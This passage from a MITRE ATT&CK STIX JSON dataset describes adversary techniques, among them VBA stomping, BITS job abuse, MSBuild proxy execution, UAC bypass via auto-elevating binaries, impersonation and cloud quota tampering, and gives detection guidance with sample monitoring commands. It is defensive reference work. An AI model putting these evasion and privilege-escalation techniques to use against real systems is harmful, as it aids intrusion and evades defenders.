            "x_mitre_platforms": [
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                "Windows"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Creation",
                "Process: Process Creation",
                "File: File Metadata"
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        },
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "created": "2017-05-31T21:30:53.408Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1065",
                    "external_id": "T1065"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
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            "modified": "2025-04-25T15:16:08.535Z",
            "name": "Uncommonly Used Port",
            "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.",
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                {
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            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979",
            "created": "2021-04-01T16:42:08.735Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1614",
                    "external_id": "T1614"
                },
                {
                    "source_name": "Bleepingcomputer RAT malware 2020",
                    "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/"
                },
                {
                    "source_name": "AWS Instance Identity Documents",
                    "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html"
                },
                {
                    "source_name": "Securelist Trasparent Tribe 2020",
                    "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.",
                    "url": "https://securelist.com/transparent-tribe-part-1/98127/"
                },
                {
                    "source_name": "FBI Ragnar Locker 2020",
                    "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.",
                    "url": "https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf"
                },
                {
                    "source_name": "Microsoft Azure Instance Metadata 2021",
                    "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows"
                },
                {
                    "source_name": "Sophos Geolocation 2016",
                    "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.",
                    "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/"
                }
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            "modified": "2025-04-15T23:14:16.731Z",
            "name": "System Location Discovery",
            "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "IaaS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: OS API Execution",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b",
            "created": "2020-09-17T12:51:40.845Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/007",
                    "external_id": "T1564.007"
                },
                {
                    "source_name": "FireEye VBA stomp Feb 2020",
                    "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html"
                },
                {
                    "source_name": "Evil Clippy May 2019",
                    "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.",
                    "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/"
                },
                {
                    "source_name": "Microsoft _VBA_PROJECT Stream",
                    "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.",
                    "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239"
                },
                {
                    "source_name": "Walmart Roberts Oct 2018",
                    "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020.",
                    "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278"
                },
                {
                    "source_name": "pcodedmp Bontchev",
                    "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.",
                    "url": "https://github.com/bontchev/pcodedmp"
                },
                {
                    "source_name": "oletools toolkit",
                    "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.",
                    "url": "https://github.com/decalage2/oletools"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:48:00.627Z",
            "name": "VBA Stomping",
            "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Rick Cole, Mandiant"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "Script: Script Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1197",
                    "external_id": "T1197"
                },
                {
                    "source_name": "CTU BITS Malware June 2016",
                    "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.",
                    "url": "https://www.secureworks.com/blog/malware-lingers-with-bits"
                },
                {
                    "source_name": "Symantec BITS May 2007",
                    "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update"
                },
                {
                    "source_name": "Elastic - Hunting for Persistence Part 1",
                    "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
                    "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
                },
                {
                    "source_name": "PaloAlto UBoatRAT Nov 2017",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
                },
                {
                    "source_name": "Microsoft Issues with BITS July 2011",
                    "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.",
                    "url": "https://technet.microsoft.com/library/dd939934.aspx"
                },
                {
                    "source_name": "Microsoft BITS",
                    "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"
                },
                {
                    "source_name": "Microsoft BITSAdmin",
                    "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
                    "url": "https://msdn.microsoft.com/library/aa362813.aspx"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Mondok Windows PiggyBack BITS May 2007",
                    "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:20.513Z",
            "name": "BITS Jobs",
            "description": "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Brent Murphy, Elastic",
                "David French, Elastic",
                "Ricardo Dias",
                "Red Canary"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation",
                "Process: Process Creation",
                "Service: Service Metadata"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
            "created": "2020-03-27T21:50:26.042Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1127/001",
                    "external_id": "T1127.001"
                },
                {
                    "source_name": "LOLBAS Msbuild",
                    "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/"
                },
                {
                    "source_name": "Microsoft MSBuild Inline Tasks 2017",
                    "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.",
                    "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element"
                },
                {
                    "source_name": "MSDN MSBuild",
                    "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.",
                    "url": "https://msdn.microsoft.com/library/dd393574.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:20.712Z",
            "name": "MSBuild",
            "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "@ionstorm",
                "Carrie Roberts, @OrOneEqualsOne"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada",
            "created": "2023-08-08T15:42:18.906Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1656",
                    "external_id": "T1656"
                },
                {
                    "source_name": "CrowdStrike-BEC",
                    "description": "Bart Lenaerts-Bergmans. (2023, March 10). What is Business Email Compromise?. Retrieved August 8, 2023.",
                    "url": "https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/"
                },
                {
                    "source_name": "VEC",
                    "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.",
                    "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:41:31.140Z",
            "name": "Impersonation",
            "description": "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal.\u202f\u202f \n \nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
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            "x_mitre_contributors": [
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                "Blake Strom, Microsoft Threat Intelligence"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f",
            "created": "2023-09-05T14:19:17.486Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1578/005",
                    "external_id": "T1578.005"
                },
                {
                    "source_name": "Microsoft Cryptojacking 2023",
                    "description": "Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/"
                },
                {
                    "source_name": "Microsoft Azure Policy",
                    "description": "Microsoft. (2023, August 30). Azure Policy built-in policy definitions. Retrieved September 5, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:49:17.012Z",
            "name": "Modify Cloud Compute Configurations",
            "description": "Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Blake Strom, Microsoft Threat Intelligence",
                "Amir Gharib, Microsoft Threat Intelligence"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Cloud Service: Cloud Service Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
            "created": "2017-05-31T21:31:07.462Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1088",
                    "external_id": "T1088"
                },
                {
                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                },
                {
                    "source_name": "TechNet Inside UAC",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                    "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
                },
                {
                    "source_name": "MSDN COM Elevation",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
                },
                {
                    "source_name": "Davidson Windows",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                    "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
                },
                {
                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "url": "https://github.com/hfiref0x/UACME"
                },
                {
                    "source_name": "enigma0x3 Fileless UAC Bypass",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
                },
                {
                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
                },
                {
                    "source_name": "SANS UAC Bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
                },
                {
                    "source_name": "enigma0x3 sdclt app paths",
                    "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"
                },
                {
                    "source_name": "enigma0x3 sdclt bypass",
                    "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:09.162Z",
            "name": "Bypass User Account Control",
            "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Casey Smith"
            ],
            "x_mitre_deprecated": false,
